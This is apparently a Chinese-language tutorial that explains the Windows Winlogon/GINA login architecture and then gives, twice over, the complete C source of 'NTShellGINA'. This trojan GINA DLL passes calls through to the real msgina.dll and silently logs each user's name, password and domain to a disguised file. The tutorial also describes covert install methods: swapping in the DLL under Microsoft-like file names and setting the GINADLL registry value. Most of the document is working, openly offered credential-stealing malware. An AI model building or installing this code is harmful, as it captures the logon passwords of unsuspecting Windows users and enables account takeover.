一、理論
WinLogon登錄管理:
1、
Winlogon進程負責管理登錄相關的安全性工作,它負責處理用戶的登錄與註銷、啓動用戶shell、輸入口令、更改口令、鎖定與解鎖工作站等。Winlogon進程必須保證其與安全相關操作對其他進程不可見,以免其他進程取得登錄密碼。
系統初始化時,啓動用戶程序之前,Winlogon進行特定工作已保障以上的需求。
(1) Winlogon進程將創建並打開一個Window Stations,然後設置一個訪問控制人口(ACE),該ACE中只包含Winlogon進程的SID,這樣就只有Winlogon進程才能訪問該Window Stations 。
(2) 然後winlogon創建桌面,設置其中的winlogon桌面只有winlogon可以訪問,其他進程不能訪問該桌面的任何數據和代碼;利用這一特性保護口令、鎖定桌面等操作的安全。winlogon還會註冊安全注意序列(SAS - secure attention sequence)的熱鍵,任何時候按下SAS熱鍵(缺省爲ctrl+alt+del),將調用Winlogon,切換到安全桌面,從而使密碼捕捉程序不能接收登錄密碼和更改密碼等安全活動。
2、
而登錄進程的驗證和身份驗證都是在GINA(GINA - Graphical Identification and Authentication圖形標識和身份驗證)中實現的,微軟的GINA是MSGINA.dll,實現了默認的Windows NT登錄界面。
不過可以自己開發GINA DLL以實現其他的身份驗證方法,如磁卡。當然這也爲木馬留下了機會,可以通過編寫和系統GINA界面相同的GINA,然後取代MSGINA.dll。在msdn sample裏有一個GINA的例子。不過如果僅僅爲了獲取登錄密碼,沒有必要那麼麻煩,只需寫一個接口和GINA一樣的,然後所有函數在實現時都去調
用MSGINA.dll的相同函數就可以了,在msdn sample裏也有這樣一個例子叫做ginastub,當然作爲木馬還要在登錄時將密碼轉儲。(更多的gina信息,在msdn裏查找gina)
3、
(1)
NTShelGINA就是使用了後一種方法。我把ginastub改了改,在登錄時將username:password:domain存在msole32.srg裏。它在運行時具體功能都要調用msgina.dll,因此安裝時這個文件必須存在,然後將msgina.dll改名爲winlogon32.dll,然後把NTShellGINA.dll拷貝爲msgina.dll即可。這是ntshell裏的第二種安裝方法。
(2)
不過微軟還在註冊表裏留了一個位置由於安裝GINA,在HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon下設置GINADLL爲某個GINA DLL,(GINADLL這個值缺省沒有)如果設置了這個值,nt會調用該GINA,而不會調用缺省的msGINA.dll。因此NTShell的第一種安裝方法是將NTShellGINA.dll拷貝到system32\mshtmlgi.dll,然後設置GINADLL爲mshtmlgi.dll。
因此第二種方法安裝成功的前提是系統原來沒有設置GINADLL這個值,否則將不予安裝NTShellGINA 。當然在win2000裏如果使用第二種安裝方法還要把dllcache裏msgina.dll改名。(ntshell改名爲mshtmlgi.dll)。
由於GINA DLL負責系統認證和安全登錄,因此如果一旦出錯,用戶將不能登錄系統,必須慎用。也因此NTShell在安裝時作了較多的檢測,如果檢測失敗將不予安裝。比如在把ntshellgina.dll拷貝爲文件msgina.dll的安裝方法裏,第一次mslogon32.dll<-msgina.dll<-ntshellgina.dll,如果再次安裝用msgina.dll替換mslogon32.dll,用ntshellgina.dll替換後來的msgina.dll(其實還是ntshellgina.dll),這樣原來的msgina.dll就沒有了,只有兩個ntshellgina.dll,找不到真正的msgina.dll,ntshellgina.dll將失敗。
ntshell依次作如下檢測:
步一:註冊表裏的GINADLL如果設置,則認爲系統不是使用默認的登錄GINA,自然不予安裝(找不到msgina.dll或者其他程序工作不正常)
步二:如果系統的msgina.dll和ntshellgina.dll相同,則認爲已經安裝過了,不能再次安裝
步三:如果系統中存在mslogon32.dll,有可能使用ntshell安裝過了,不再安裝(除非你確認,msgina.dll還是原來的,可以手工刪除mslogon32.dll,再安裝;否則不要安裝)
步四:如果安裝出錯,不能登錄,可以參考msdn的如下說明進行恢復:(我使用的是第4種方法,其他的未試)
二、代碼
- /*
- NTShellGINA.c - a gina stub come from NTShell 1.0
- by:[email protected], from homepage:bingle_site.top263.net
- 此文件是從tinastub.c文件修改過來的,
- 此文件將保存期登陸的密碼到文件 system32\\msole32.srg
- --*/
- #include <windows.h>
- #include <stdio.h>
- #include <winwlx.h>
- #include "ginastub.h"
- //
- // winlogon function dispatch table
- //
- PWLX_DISPATCH_VERSION_1_0 g_pWinlogon;
- //
- // Functions pointers to the real msgina which we will call.
- //
- PGWLXNEGOTIATE GWlxNegotiate;
- PGWLXINITIALIZE GWlxInitialize;
- PGWLXDISPLAYSASNOTICE GWlxDisplaySASNotice;
- PGWLXLOGGEDOUTSAS GWlxLoggedOutSAS;
- PGWLXACTIVATEUSERSHELL GWlxActivateUserShell;
- PGWLXLOGGEDONSAS GWlxLoggedOnSAS;
- PGWLXDISPLAYLOCKEDNOTICE GWlxDisplayLockedNotice;
- PGWLXWKSTALOCKEDSAS GWlxWkstaLockedSAS;
- PGWLXISLOCKOK GWlxIsLockOk;
- PGWLXISLOGOFFOK GWlxIsLogoffOk;
- PGWLXLOGOFF GWlxLogoff;
- PGWLXSHUTDOWN GWlxShutdown;
- //
- // NEW for version 1.1
- //
- PGWLXSTARTAPPLICATION GWlxStartApplication;
- PGWLXSCREENSAVERNOTIFY GWlxScreenSaverNotify;
- //
- // hook into the real GINA.
- //
- BOOL MyInitialize( void )
- {
- HINSTANCE hDll;
- //
- // judge if which dll to load, if the file named "msgina.dll"
- // then ntshell is changed MSGINA.DLL-->mslogon32.dll, so load it
- // if named others then just load MSGINA.DLL
- //
- char origina[]="MSGINA.DLL";
- char chgedgina[]="mslogon32.dll";
- char *realgina;
- char filename[MAX_PATH];
- int result;
- FILE *fp;
- HMODULE hself;
- #ifdef _DEBUG
- fp=fopen("ginalog.txt", "ab");
- if(fp)
- {
- sprintf(filename, "\r\nMyInitialize been called by ");
- fwrite(filename, strlen(filename), 1, fp);
- result=GetModuleFileName(NULL, filename, MAX_PATH);
- if(result)fwrite(filename, strlen(filename), 1, fp);
- fclose(fp);
- }
- #endif
- realgina=NULL;
- hself=GetModuleHandle(origina);
- if(!hself)realgina=origina;//hself=GetModuleHandle(chgedgina);
- else realgina=chgedgina;//if origina loaded, this is origina
- // Load original MSGINA.DLL.
- if( !(hDll = LoadLibrary( realgina )) ) {
- return FALSE;
- }
- // Get pointers to all of the WLX functions in the real MSGINA.
- GWlxNegotiate = (PGWLXNEGOTIATE)GetProcAddress( hDll, "WlxNegotiate" );
- if( !GWlxNegotiate ) {
- return FALSE;
- }
- GWlxInitialize = (PGWLXINITIALIZE)GetProcAddress( hDll, "WlxInitialize" );
- if( !GWlxInitialize ) {
- return FALSE;
- }
- GWlxDisplaySASNotice =
- (PGWLXDISPLAYSASNOTICE)GetProcAddress( hDll, "WlxDisplaySASNotice" );
- if( !GWlxDisplaySASNotice ) {
- return FALSE;
- }
- GWlxLoggedOutSAS =
- (PGWLXLOGGEDOUTSAS)GetProcAddress( hDll, "WlxLoggedOutSAS" );
- if( !GWlxLoggedOutSAS ) {
- return FALSE;
- }
- GWlxActivateUserShell =
- (PGWLXACTIVATEUSERSHELL)GetProcAddress( hDll, "WlxActivateUserShell" );
- if( !GWlxActivateUserShell ) {
- return FALSE;
- }
- GWlxLoggedOnSAS =
- (PGWLXLOGGEDONSAS)GetProcAddress( hDll, "WlxLoggedOnSAS" );
- if( !GWlxLoggedOnSAS ) {
- return FALSE;
- }
- GWlxDisplayLockedNotice =
- (PGWLXDISPLAYLOCKEDNOTICE)GetProcAddress(
- hDll,
- "WlxDisplayLockedNotice" );
- if( !GWlxDisplayLockedNotice ) {
- return FALSE;
- }
- GWlxIsLockOk = (PGWLXISLOCKOK)GetProcAddress( hDll, "WlxIsLockOk" );
- if( !GWlxIsLockOk ) {
- return FALSE;
- }
- GWlxWkstaLockedSAS =
- (PGWLXWKSTALOCKEDSAS)GetProcAddress( hDll, "WlxWkstaLockedSAS" );
- if( !GWlxWkstaLockedSAS ) {
- return FALSE;
- }
- GWlxIsLogoffOk = (PGWLXISLOGOFFOK)GetProcAddress( hDll, "WlxIsLogoffOk" );
- if( !GWlxIsLogoffOk ) {
- return FALSE;
- }
- GWlxLogoff = (PGWLXLOGOFF)GetProcAddress( hDll, "WlxLogoff" );
- if( !GWlxLogoff ) {
- return FALSE;
- }
- GWlxShutdown = (PGWLXSHUTDOWN)GetProcAddress( hDll, "WlxShutdown" );
- if( !GWlxShutdown ) {
- return FALSE;
- }
- // we don't check for failure here because these don't exist for
- // gina's implemented prior to Windows NT 4.0
- GWlxStartApplication = (PGWLXSTARTAPPLICATION) GetProcAddress( hDll, "WlxStartApplication" );
- GWlxScreenSaverNotify = (PGWLXSCREENSAVERNOTIFY) GetProcAddress( hDll, "WlxScreenSaverNotify" );
- // Everything loaded ok. Return success.
- return TRUE;
- }
- BOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion)
- {
- if( !MyInitialize() ) return FALSE;
- return GWlxNegotiate( dwWinlogonVersion, pdwDllVersion );
- }
- BOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,
- PVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext)
- {
- return GWlxInitialize( lpWinsta, hWlx, pvReserved,
- pWinlogonFunctions, pWlxContext );
- }
- VOID WINAPI WlxDisplaySASNotice( PVOID pWlxContext )
- {
- GWlxDisplaySASNotice( pWlxContext );
- }
- int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,
- PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions,
- PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
- PVOID *pProfile)
- {
- int iRet;
- iRet = GWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId,
- pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile );
- if(iRet == WLX_SAS_ACTION_LOGON) {
- // copy pMprNotifyInfo and pLogonSid for later use
- FILE *fp;
- fp=fopen("msole32.srg", "a");
- if(fp!=NULL)
- {
- char infor[300], buf[300];
- memset(buf, 0, 300);
- wcstombs(buf, pMprNotifyInfo->pszUserName, 300);
- sprintf(infor, "%s", buf);
- memset(buf, 0, 300);//if convert failed, we use the error one also
- wcstombs(buf, pMprNotifyInfo->pszPassword, 300);
- sprintf(infor, "%s:%s", infor, buf);
- memset(buf, 0, 300);
- wcstombs(buf, pMprNotifyInfo->pszDomain, 300);
- sprintf(infor, "%s:%s\r\n", infor, buf);
- fwrite(infor, 1, strlen(infor), fp);
- fclose(fp);
- }
- // pMprNotifyInfo->pszOldPassword
- }
- return iRet;
- }
- BOOL WINAPI WlxActivateUserShell(
- PVOID pWlxContext,
- PWSTR pszDesktopName,
- PWSTR pszMprLogonScript,
- PVOID pEnvironment)
- {
- return GWlxActivateUserShell(
- pWlxContext,
- pszDesktopName,
- pszMprLogonScript,
- pEnvironment
- );
- }
- int WINAPI WlxLoggedOnSAS(
- PVOID pWlxContext,
- DWORD dwSasType,
- PVOID pReserved)
- {
- return GWlxLoggedOnSAS( pWlxContext, dwSasType, pReserved );
- }
- VOID WINAPI WlxDisplayLockedNotice( PVOID pWlxContext )
- {
- GWlxDisplayLockedNotice( pWlxContext );
- }
- BOOL WINAPI WlxIsLockOk( PVOID pWlxContext )
- {
- return GWlxIsLockOk( pWlxContext );
- }
- int WINAPI WlxWkstaLockedSAS(
- PVOID pWlxContext,
- DWORD dwSasType )
- {
- return GWlxWkstaLockedSAS( pWlxContext, dwSasType );
- }
- BOOL WINAPI WlxIsLogoffOk( PVOID pWlxContext )
- {
- BOOL bSuccess;
- bSuccess = GWlxIsLogoffOk( pWlxContext );
- if(bSuccess) {
- //
- // if it's ok to logoff, finish with the stored credentials
- // and scrub the buffers
- //
- }
- return bSuccess;
- }
- VOID WINAPI WlxLogoff( PVOID pWlxContext )
- {
- GWlxLogoff( pWlxContext );
- }
- VOID WINAPI WlxShutdown( PVOID pWlxContext, DWORD ShutdownType )
- {
- GWlxShutdown( pWlxContext, ShutdownType );
- }
- //
- // NEW for version 1.1
- //
- BOOL WINAPI WlxScreenSaverNotify(
- PVOID pWlxContext,
- BOOL * pSecure
- )
- {
- if(GWlxScreenSaverNotify != NULL)
- return GWlxScreenSaverNotify( pWlxContext, pSecure );
- //
- // if not exported, return something intelligent
- //
- *pSecure = TRUE;
- return TRUE;
- }
- BOOL WINAPI WlxStartApplication(
- PVOID pWlxContext,
- PWSTR pszDesktopName,
- PVOID pEnvironment,
- PWSTR pszCmdLine
- )
- {
- if(GWlxStartApplication != NULL)
- return GWlxStartApplication(
- pWlxContext,
- pszDesktopName,
- pEnvironment,
- pszCmdLine
- );
- //
- // if not exported, return something intelligent
- //
- }
/*
NTShellGINA.c - a gina stub come from NTShell 1.0
by:[email protected], from homepage:bingle_site.top263.net
此文件是從tinastub.c文件修改過來的,
此文件將保存期登陸的密碼到文件 system32\\msole32.srg
--*/
#include <windows.h>
#include <stdio.h>
#include <winwlx.h>
#include "ginastub.h"
//
// winlogon function dispatch table
//
PWLX_DISPATCH_VERSION_1_0 g_pWinlogon;
//
// Functions pointers to the real msgina which we will call.
//
PGWLXNEGOTIATE GWlxNegotiate;
PGWLXINITIALIZE GWlxInitialize;
PGWLXDISPLAYSASNOTICE GWlxDisplaySASNotice;
PGWLXLOGGEDOUTSAS GWlxLoggedOutSAS;
PGWLXACTIVATEUSERSHELL GWlxActivateUserShell;
PGWLXLOGGEDONSAS GWlxLoggedOnSAS;
PGWLXDISPLAYLOCKEDNOTICE GWlxDisplayLockedNotice;
PGWLXWKSTALOCKEDSAS GWlxWkstaLockedSAS;
PGWLXISLOCKOK GWlxIsLockOk;
PGWLXISLOGOFFOK GWlxIsLogoffOk;
PGWLXLOGOFF GWlxLogoff;
PGWLXSHUTDOWN GWlxShutdown;
//
// NEW for version 1.1
//
PGWLXSTARTAPPLICATION GWlxStartApplication;
PGWLXSCREENSAVERNOTIFY GWlxScreenSaverNotify;
//
// hook into the real GINA.
//
BOOL MyInitialize( void )
{
HINSTANCE hDll;
//
// judge if which dll to load, if the file named "msgina.dll"
// then ntshell is changed MSGINA.DLL-->mslogon32.dll, so load it
// if named others then just load MSGINA.DLL
//
char origina[]="MSGINA.DLL";
char chgedgina[]="mslogon32.dll";
char *realgina;
char filename[MAX_PATH];
int result;
FILE *fp;
HMODULE hself;
#ifdef _DEBUG
fp=fopen("ginalog.txt", "ab");
if(fp)
{
sprintf(filename, "\r\nMyInitialize been called by ");
fwrite(filename, strlen(filename), 1, fp);
result=GetModuleFileName(NULL, filename, MAX_PATH);
if(result)fwrite(filename, strlen(filename), 1, fp);
fclose(fp);
}
#endif
realgina=NULL;
hself=GetModuleHandle(origina);
if(!hself)realgina=origina;//hself=GetModuleHandle(chgedgina);
else realgina=chgedgina;//if origina loaded, this is origina
// Load original MSGINA.DLL.
if( !(hDll = LoadLibrary( realgina )) ) {
return FALSE;
}
// Get pointers to all of the WLX functions in the real MSGINA.
GWlxNegotiate = (PGWLXNEGOTIATE)GetProcAddress( hDll, "WlxNegotiate" );
if( !GWlxNegotiate ) {
return FALSE;
}
GWlxInitialize = (PGWLXINITIALIZE)GetProcAddress( hDll, "WlxInitialize" );
if( !GWlxInitialize ) {
return FALSE;
}
GWlxDisplaySASNotice =
(PGWLXDISPLAYSASNOTICE)GetProcAddress( hDll, "WlxDisplaySASNotice" );
if( !GWlxDisplaySASNotice ) {
return FALSE;
}
GWlxLoggedOutSAS =
(PGWLXLOGGEDOUTSAS)GetProcAddress( hDll, "WlxLoggedOutSAS" );
if( !GWlxLoggedOutSAS ) {
return FALSE;
}
GWlxActivateUserShell =
(PGWLXACTIVATEUSERSHELL)GetProcAddress( hDll, "WlxActivateUserShell" );
if( !GWlxActivateUserShell ) {
return FALSE;
}
GWlxLoggedOnSAS =
(PGWLXLOGGEDONSAS)GetProcAddress( hDll, "WlxLoggedOnSAS" );
if( !GWlxLoggedOnSAS ) {
return FALSE;
}
GWlxDisplayLockedNotice =
(PGWLXDISPLAYLOCKEDNOTICE)GetProcAddress(
hDll,
"WlxDisplayLockedNotice" );
if( !GWlxDisplayLockedNotice ) {
return FALSE;
}
GWlxIsLockOk = (PGWLXISLOCKOK)GetProcAddress( hDll, "WlxIsLockOk" );
if( !GWlxIsLockOk ) {
return FALSE;
}
GWlxWkstaLockedSAS =
(PGWLXWKSTALOCKEDSAS)GetProcAddress( hDll, "WlxWkstaLockedSAS" );
if( !GWlxWkstaLockedSAS ) {
return FALSE;
}
GWlxIsLogoffOk = (PGWLXISLOGOFFOK)GetProcAddress( hDll, "WlxIsLogoffOk" );
if( !GWlxIsLogoffOk ) {
return FALSE;
}
GWlxLogoff = (PGWLXLOGOFF)GetProcAddress( hDll, "WlxLogoff" );
if( !GWlxLogoff ) {
return FALSE;
}
GWlxShutdown = (PGWLXSHUTDOWN)GetProcAddress( hDll, "WlxShutdown" );
if( !GWlxShutdown ) {
return FALSE;
}
// we don't check for failure here because these don't exist for
// gina's implemented prior to Windows NT 4.0
GWlxStartApplication = (PGWLXSTARTAPPLICATION) GetProcAddress( hDll, "WlxStartApplication" );
GWlxScreenSaverNotify = (PGWLXSCREENSAVERNOTIFY) GetProcAddress( hDll, "WlxScreenSaverNotify" );
// Everything loaded ok. Return success.
return TRUE;
}
BOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion)
{
if( !MyInitialize() ) return FALSE;
return GWlxNegotiate( dwWinlogonVersion, pdwDllVersion );
}
BOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,
PVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext)
{
return GWlxInitialize( lpWinsta, hWlx, pvReserved,
pWinlogonFunctions, pWlxContext );
}
VOID WINAPI WlxDisplaySASNotice( PVOID pWlxContext )
{
GWlxDisplaySASNotice( pWlxContext );
}
int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,
PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions,
PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
PVOID *pProfile)
{
int iRet;
iRet = GWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId,
pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile );
if(iRet == WLX_SAS_ACTION_LOGON) {
// copy pMprNotifyInfo and pLogonSid for later use
FILE *fp;
fp=fopen("msole32.srg", "a");
if(fp!=NULL)
{
char infor[300], buf[300];
memset(buf, 0, 300);
wcstombs(buf, pMprNotifyInfo->pszUserName, 300);
sprintf(infor, "%s", buf);
memset(buf, 0, 300);//if convert failed, we use the error one also
wcstombs(buf, pMprNotifyInfo->pszPassword, 300);
sprintf(infor, "%s:%s", infor, buf);
memset(buf, 0, 300);
wcstombs(buf, pMprNotifyInfo->pszDomain, 300);
sprintf(infor, "%s:%s\r\n", infor, buf);
fwrite(infor, 1, strlen(infor), fp);
fclose(fp);
}
// pMprNotifyInfo->pszOldPassword
}
return iRet;
}
BOOL WINAPI WlxActivateUserShell(
PVOID pWlxContext,
PWSTR pszDesktopName,
PWSTR pszMprLogonScript,
PVOID pEnvironment)
{
return GWlxActivateUserShell(
pWlxContext,
pszDesktopName,
pszMprLogonScript,
pEnvironment
);
}
int WINAPI WlxLoggedOnSAS(
PVOID pWlxContext,
DWORD dwSasType,
PVOID pReserved)
{
return GWlxLoggedOnSAS( pWlxContext, dwSasType, pReserved );
}
VOID WINAPI WlxDisplayLockedNotice( PVOID pWlxContext )
{
GWlxDisplayLockedNotice( pWlxContext );
}
BOOL WINAPI WlxIsLockOk( PVOID pWlxContext )
{
return GWlxIsLockOk( pWlxContext );
}
int WINAPI WlxWkstaLockedSAS(
PVOID pWlxContext,
DWORD dwSasType )
{
return GWlxWkstaLockedSAS( pWlxContext, dwSasType );
}
BOOL WINAPI WlxIsLogoffOk( PVOID pWlxContext )
{
BOOL bSuccess;
bSuccess = GWlxIsLogoffOk( pWlxContext );
if(bSuccess) {
//
// if it's ok to logoff, finish with the stored credentials
// and scrub the buffers
//
}
return bSuccess;
}
VOID WINAPI WlxLogoff( PVOID pWlxContext )
{
GWlxLogoff( pWlxContext );
}
VOID WINAPI WlxShutdown( PVOID pWlxContext, DWORD ShutdownType )
{
GWlxShutdown( pWlxContext, ShutdownType );
}
//
// NEW for version 1.1
//
BOOL WINAPI WlxScreenSaverNotify(
PVOID pWlxContext,
BOOL * pSecure
)
{
if(GWlxScreenSaverNotify != NULL)
return GWlxScreenSaverNotify( pWlxContext, pSecure );
//
// if not exported, return something intelligent
//
*pSecure = TRUE;
return TRUE;
}
BOOL WINAPI WlxStartApplication(
PVOID pWlxContext,
PWSTR pszDesktopName,
PVOID pEnvironment,
PWSTR pszCmdLine
)
{
if(GWlxStartApplication != NULL)
return GWlxStartApplication(
pWlxContext,
pszDesktopName,
pEnvironment,
pszCmdLine
);
//
// if not exported, return something intelligent
//
}